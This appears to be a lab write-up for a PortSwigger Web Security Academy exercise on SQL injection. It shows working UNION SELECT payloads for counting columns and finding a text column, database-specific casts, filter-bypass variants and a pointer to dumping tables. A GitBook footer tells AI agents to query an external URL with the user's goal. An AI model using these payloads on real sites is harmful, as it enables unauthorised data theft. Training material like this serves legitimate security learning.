> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/union-attack-to-find-a-text-compatible-column.md).

# UNION Attack to Find a Text-Compatible Column

UNION Attack to Find a Text-Compatible Column notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SQL Injection UNION Attack, Finding a Column Containing Text

**Objective:** insert a `UNION` line containing the test value (`PjNkGQ`) to identify which column accepts strings, then extract text data.

#### (1) Confirm the Number of Columns (if Not Already Known)

* Test with `ORDER BY` incremental:

  ```sql
  ' ORDER BY 1-- -
  ' ORDER BY 2-- -
  ' ORDER BY 3-- -
  ```

When `ORDER BY N` causes an error, the number of columns is `< N`.

#### 2) Inject a `UNION` Row Containing the Given Value

* Example for **3 columns**:

  ```sql
  ' UNION SELECT NULL, 'PjNkGQ', NULL-- -
  ```

— if the answer shows `PjNkGQ`, the **2nd column** is text compatible.

#### 3) Variants to Locate Visible Column

* Test the constant in each position:

  ```sql
  ' UNION SELECT 'PjNkGQ', NULL, NULL-- -
  ' UNION SELECT NULL, NULL, 'PjNkGQ'-- -
  ```
* Use separate constants to map visible columns:

  ```sql
  ' UNION SELECT 'A','B','C'-- -
  ```

#### (4) Manage Type Errors

* If `UNION` fails for type incompatibility, use `NULL` for non-text columns or cast the constant according to the GBD:
* **MySQL / PostgreSQL**:

  ````
  ```sql
  ' UNION SELECT NULL, CAST('PjNkGQ' AS CHAR), NULL-- -
  ```
  ````

  * **MSSQL** :

    ```sql
    ' UNION SELECT NULL, CAST('PjNkGQ' AS VARCHAR(8000)), NULL-- -
    ```
  * **Oracle** :

    ```sql
    ' UNION SELECT NULL, TO_CHAR('PjNkGQ'), NULL-- -
    ```
* If some columns require numerical types, leave `NULL` for them and place the text only in the candidate column.

#### 5) If a WAF / Filter Blocks `UNION`

* Vary comment / spacing: `-- -`, `--`, `/*... */`.
* Build the chain via functions (e.g. `CONCAT('P','jNkGQ')`) to bypass strict normalization.

#### (6) Expected Result

* The answer contains `PjNkGQ` → text column identified. From there build `UNION SELECT` for enumeration (tables/columns/dumps).


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/sql-injection/union-attack-to-find-a-text-compatible-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
